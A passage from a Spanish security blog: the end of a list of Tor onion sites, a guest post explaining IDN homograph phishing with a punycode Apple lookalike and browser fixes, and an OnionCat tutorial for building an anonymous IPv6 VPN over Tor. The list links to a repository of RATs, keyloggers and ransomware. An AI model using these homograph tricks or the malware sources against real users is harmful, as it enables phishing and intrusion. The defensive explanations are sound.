Una vez te registras en éste foro, tienes acceso a una red bastante amplia de usuarios que comentan sobre novedades en el mundo de la seguridad informática, especialmente sobre vulnerabilidades recientes que se estan explotando “in the wild”. También se encuentra en la clearweb: https://0day.su/

Onion: http://qzbkwswfv5k2oj5d.onion

Anoninbox:

Se trata de un servicio de correo electrónico basado en Tor y que (supuestamente) tiene por objetivo brindar buenos niveles de privacidad a sus usuarios.

Onion: http://ncikv3i4qfzwy2qy.onion/

Ya van 10, pero… vamos a incluir un sitio más:

Ex0du$:

Si te interesa el análisis de RATs, Keyloggers, Ransomware y demás programas inofensivos y “user-friendly”, puedes echarle un vistazo al repositorio de ex0du$.

Onion: http://exoduockgfq3ikf7.onion/

 

Se trata simplemente de unos pocos servicios que se encuentran disponibles actualmente, pero con bastante frecuencia hay cambios y es probable que en unas pocas semanas o incluso días, algunos de estos servicios ya no estén disponibles, así que tenerlo en cuenta.

Un saludo y Happy Hack!
Adastra.

Ataques homógrafos

abril 21, 2017 1 comentario

Entrada escrita por “L-Cafe”.
Twitter @L__Cafe
Telegram Nick: lian.rs
En los últimos días se ha hablado mucho de un tipo de ataque de phishing que consiste en sustituir letras de un dominio por caracteres, generalmente cirílicos, que tienen el mismo aspecto a simple vista, pero diferente representación Unicode.

Por ejemplo: Haz click aquí: https://www.xn--80ak6aa92e.com/. La página que obtienes no es la oficial de Apple. ¿Por qué? Hace mucho tiempo, se elaboró un estándar que permitía registrar nombres de dominio que contuvieran caracteres fuera de ASCII, por ejemplo: nombres de dominio con caracteres como ç, ñ, o incluso hanzi, como 國, caracteres árabes, como جزائر, entre otros.

 

xn–80ak6aa92e.com

En concreto, idiomas como el ruso, tienen letras similares al alfabeto latín, y, dado que se pueden registrar dominios con estos caracteres, por desgracia también se puede utilizar esto con fines no tan nobles, como realizar phishing.

Pero el candadito verde significa sitio seguro, ¿No?

Este es otro gran problema. Debido a que estos dominios son totalmente válidos y estándar, también se pueden solicitar certificados de cifrado, sin embargo, si indagamos, veremos que el certificado está expedido por Let’s Encrypt, una autoridad certificadora que expide certificados gratuitos. Estos certificados gratuitos están genial para administradores de sistemas que no tengan muchos recursos, y no quieran gastarse cientos de euros en un certificado para proteger a sus visitantes.

 

certificado de xn–80ak6aa92e.com

Mientras que la web oficial tendría un certificado con validación extendida (EV), que generalmente suele costar bastante más caro, pero a una gran multinacional como Apple, no le supone un gran desembolso. Esta es una de las razones más importantes para contratar certificados con validación extendida en lugar de certificados sencillos: Ayudan a contrarrestar el phishing en gran medida, especialmente en los casos en los que la dirección web es muy parecida. Podría por ejemplo darse que alguien registre el dominio appiie.com, pero los enlaces se entreguen con las dos i en mayúsculas, haciendo parecer la letra L.


Apple.com

Cómo evitarlo

Si utilizas Google Chrome, debes actualizar inmediatamente si estás utilizando una versión inferior a la 58.0.3029.81. Una vez que hayas actualizado, el enlace del principio aparecerá como xn--80ak6aa92e.com, que es el dominio real, evidenciando que la web efectivamente no es apple.com.

En el caso de Firefox, debes seguir estos pasos:
1. Escribe about:config en la barra de direcciones y pulsa enter.
2. Escribe punycode en la barra de búsqueda del gestor de configuración.
3. Busca un parámetro llamado network.IDN_show_punycode.
4. Haz doble click para cambiar su valor de false a true.

Independiente de esto, la mayoría de navegadores modernos (ejem, Internet Explorer también, cómo han cambiado las cosas) incluyen filtros anti phishing por defecto, lo que ayuda a contrarrestar este problema en gran medida, pero no son sistemas totalmente fiables (¿Acaso hay algo totalmente fiable?).

En resumen

Como siempre, debéis tener cuidado con dónde metéis vuestros datos, usar verificación en dos pasos siempre que sea posible (en Apple lo es), utilizar gestores de contraseñas para generar claves únicas y totalmente aleatorias para cada sitio.

 

Entrada escrita por “L-Cafe”.
Twitter @L__Cafe
Telegram Nick: lian.rs

Servicios ocultos en TOR sobre IP: Creando un adaptador VPN anónimo con OnionCAT

abril 20, 2017 Deja un comentario

Cuando se habla de servicios ocultos en TOR, nos referimos típicamente a servicios tradicionales que funcionan únicamente por TCP, por ejemplo un servidor web, SSH, SMB o FTP, todo es posible. Crear un servicio oculto es tan simple como utilizar las directivas HiddenServiceDir y HiddenServicePort, las cuales se encargan de crear o leer un directorio dado en donde se encontrará la clave privada del servicio y para establecer el puerto del servicio en ejecución respectivamente. En realidad la creación de un servicio oculto tiene una dificultad mínima y cualquiera sin demasiados conocimientos puede hacerlo, sin embargo nos encontramos con que únicamente vamos a poder exponer un puerto por cada combinación de HiddenServiceDir y HiddenServicePort en el fichero de configuración de TOR (también conocido como “torrc”). Si queremos tener, por ejemplo, todos los servicios de un sistema disponibles en la deep web de TOR, tenemos que ir creando “pares” de ambas directivas por cada servicio que se quiera exponer. Esto con muchos servicios resulta tedioso y difícil de mantener, además de que las direcciones Onion no solamente no son fáciles de recordar, sino que además al no ser resolubles por medio de un servidor DNS o similar, pueden haber varias dificultades a la hora de acceder a éste tipo servicios utilizando ciertas herramientas. Estos son solamente algunos de los problemas que se suelen presentar a la hora de crear y acceder a un servicio oculto en TOR y desde luego, en ciertos casos, no resulta práctico. Ahora bien, tomando como referencia el funcionamiento de Freenet, en ocasiones resulta conveniente tener la posibilidad de crear grupos cerrados dentro de la propia red anónima para que sea posible el intercambio de información o incluso el acceso a servicios que únicamente pueden ser consultados por los miembros de dicho grupo. Esta característica no se encuentra disponible en TOR, sin embargo existe una alternativa bastante interesante de la que ya se ha hablado de forma muy superficial en éste blog y que merece la pena explicar en detalle, dicha alternativa es conocida como OnionCat.

OnionCat es una solución robusta y eficiente para afrontar los problemas mencionados anteriormente y que evidentemente se encuentran relacionados con la arquitectura de los servicios ocultos en TOR. OnionCAT permite crear un adaptador VPN sobre IPv6 que funciona en la capa de red (capa 3 en el modelo OSI) y la resolución de las direcciones ONION se lleva a cabo en la capa de transporte (capa 4 del modelo OSI), de ésta forma es posible tratar paquetes IP y facilitar el acceso a los servicios ocultos en redes anónimas tales como TOR o incluso I2P (modo GarliCAT).

OnionCAT se encarga de calcular y asignar de forma automática una dirección IPv6 única cuyo destino apunta a un servicio oculto de TOR, de ésta forma provee de un mecanismo único de enrutamiento, en donde los usuarios pueden comunicarse de forma transparente sobre direcciones IPv6 y acceder a prácticamente cualquier tipo de servicio basado en IP de forma anónima gracias a la arquitectura de TOR.

Para utilizar OnionCAT es necesario especificar la dirección onion de un servicio en ejecución y a continuación, la herramienta se encargará de generar una interfaz TUN con la que se podrá comenzar a trabajar. Uno o varios usuarios deben realizar el mismo procedimiento para poder interactuar por medio de sus correspondientes direcciones IPv6.
Cuando llega un paquete IPv6 a OnionCAT, éste intentará extraer los primeros 80 bits de la dirección del destino y traducirlos a una URL *.onion, para finalmente abrir un nuevo circuito de TOR hacia el destino indicado en el paquete. Se trata de un procedimiento que realiza de forma automática la herramienta, con lo cual no es necesario aplicar configuraciones complejas ni mucho menos, basta simplemente con instalar OnionCAT y configurar adecuadamente la instancia de TOR para que todo funcione correctamente. Es probable que la mejor forma de entender el funcionamiento de todo esto sea por medio de un ejemplo y es justo lo que se hará a continuación.

INSTALACIÓN DE ONIONCAT.

OnionCAT es una utilidad desarrollada en C, con lo cual como muchas herramientas en dicho lenguaje, tiene su correspondiente fichero “configure”, el cual se encarga de la compilación de los ficheros fuente para que posteriormente, se pueda ejecutar el comando “make”. OnionCAT se puede descargar desde aquí: https://www.cypherpunk.at/ocat/download/ y una vez descargada la última versión estable se debe ejecutar el script “configure” y luego “make && make install”. Finalmente, para verificar que ha quedado correctamente instalado en el sistema, basta con lanzar el comando “ocat”. Deberían de aparecer cada una de las opciones disponibles en ocat.

Instalación de OnionCAT en el sistema.

A continuación, es necesario crear un servicio oculto en una instancia de TOR cuyo endpoint en la deep web sea el puerto 8060 y desemboque en la máquina local en el mismo puerto. El fichero “torrc” puede contener lo siguiente:

DataDirectory /home/adastra/tor_data_directory

SOCKSPort 9050

Log notice file /home/adastra/tor_data_directory/tor_log.log

HiddenServiceDir /home/adastra/ servicioOcultoOCat

HiddenServicePort 8060 127.0.0.1:8060

Es un contenido bastante simple, pero más que suficiente para proceder con el arranque de la instancia de TOR y luego, dejar que OnionCAT “haga su magia”.


Bien, el servicio oculto está preparado en el puerto 8060, ahora solamente falta levantar OnionCAT por medio del comando “ocat” pasándole como argumento el contenido del fichero “/home/adastra/servicioOcultoOCat/hostname” que ha generado automáticamente TOR al momento de levantar la instancia (obviamente el directorio puede ser otro, basta simplemente con editar la directiva de configuración HiddenServiceDir). El siguiente comando permitirá generar una interfaz TUN con una dirección IPv6, que como veremos un poco más abajo, será la que nos permita acceder a otros servicios que utilicen también OnionCAT como si se encontrarán en la misma red.

Hasta éste punto únicamente contamos con una dirección IPv6, la cual dará acceso a otras instancias de OnionCAT que se encuentren funcionando en la red de TOR, solamente es necesario compartir ésta dirección con aquellas personas con las que queremos conectarnos.

Para hacerlo más interesante, desde una VM vamos a crear otra instancia de TOR+OnionCAT con la misma configuración vista anteriormente y se podrá apreciar que ambas instancias pueden acceder a cualquier servicio e incluso, utilizar protocolos distintos a TCP, todo sobre TOR y con el adaptador de red virtual generado por OnionCAT y por si fuera poco, nos olvidamos de direcciones Onion, es posible utilizar directamente direcciones IPv6 y acceder no sólo a un servicio concreto, accedemos a todo lo que pueda ofrecer el sistema, como si se tratara de una red local.

En el otro sistema se ha seguido exactamente el mismo procedimiento, es decir, se ha levantado una instancia de TOR con un servicio oculto que apunta al puerto 8060 tanto interno como externo y a continuación, se ha utilizado OnionCAT para generar la interfaz TUN con su correspondiente dirección IPv6. Para comprobar el correcto funcionamiento de ésta configuración, basta simplemente con ejecutar un “ping6” contra dicha dirección IP y ver cómo responde (desde el primer sistema configurado contra el segundo obviamente)



Tal y como se puede ver en la imagen anterior, el “ping6” contra la dirección IPv6 del sistema que se encuentra en la VM responde perfectamente, en este caso todo pasa por medio de la red TOR antes de llegar a su destino. Hay que tener en cuenta que es un proceso que puede tardar un poco, no hay que olvidar que lo que hay por debajo es un servicio oculto estándar de TOR, por ese motivo las conexiones pueden ir un poco más lentas.

Ahora, utilizando la dirección IPv6 de la máquina virtual, vamos a conectarnos a un servicio SSH que se encuentra en dicha máquina.

Como se puede apreciar, la conexión se ha podido establecer correctamente. Esto mismo aplica a cualquier servicio que se encuentre en dicho sistema, como por ejemplo un servidor web, FTP, POP, SMB, etc. Como decía antes, nos olvidamos de las direcciones Onion y ahora tiramos directamente de direcciones IPv6. Esto mismo lo podría hacer cualquier instancia que utilice OnionCAT en la red de TOR, basta simplemente con que conozca la dirección IPv6 con la que desea establecer una conexión y consumir cualquier tipo de servicio, de manera confidencial y anónima utilizando la infraestructura de TOR.

Así es posible crear grupos cerrados de personas que comparten servicios o información sin necesidad de depender de servicios ocultos y direcciones Onion, cada uno de los miembros intercambia sus direcciones IPv6 y puede ofrecer varios servicios sobre IP y por debajo, todo pasará por medio de TOR, ya no seria necesario recordar “N” direcciones Onion para acceder a “N” servicios ocultos de una instancia, únicamente conociendo la dirección IPv6 se puede acceder a todo lo que exponga dicha máquina.
Para demostrar estas afirmaciones, se puede lanzar directamente un escaneo con Nmap contra la dirección IPv6 utilizada anteriormente y como se puede apreciar en la siguiente imagen, se detectan  varios servicios con puertos abiertos.

Si no te gusta manejar o crear servicios ocultos uno a uno o estas cansado de utilizar direcciones Onion para compartir información o tener algún servidor en la deep web de TOR, la mejor solución que tienes actualmente es OnionCAT.

Un saludo y Happy Hack!
Adastra.

A %d blogueros les gusta esto: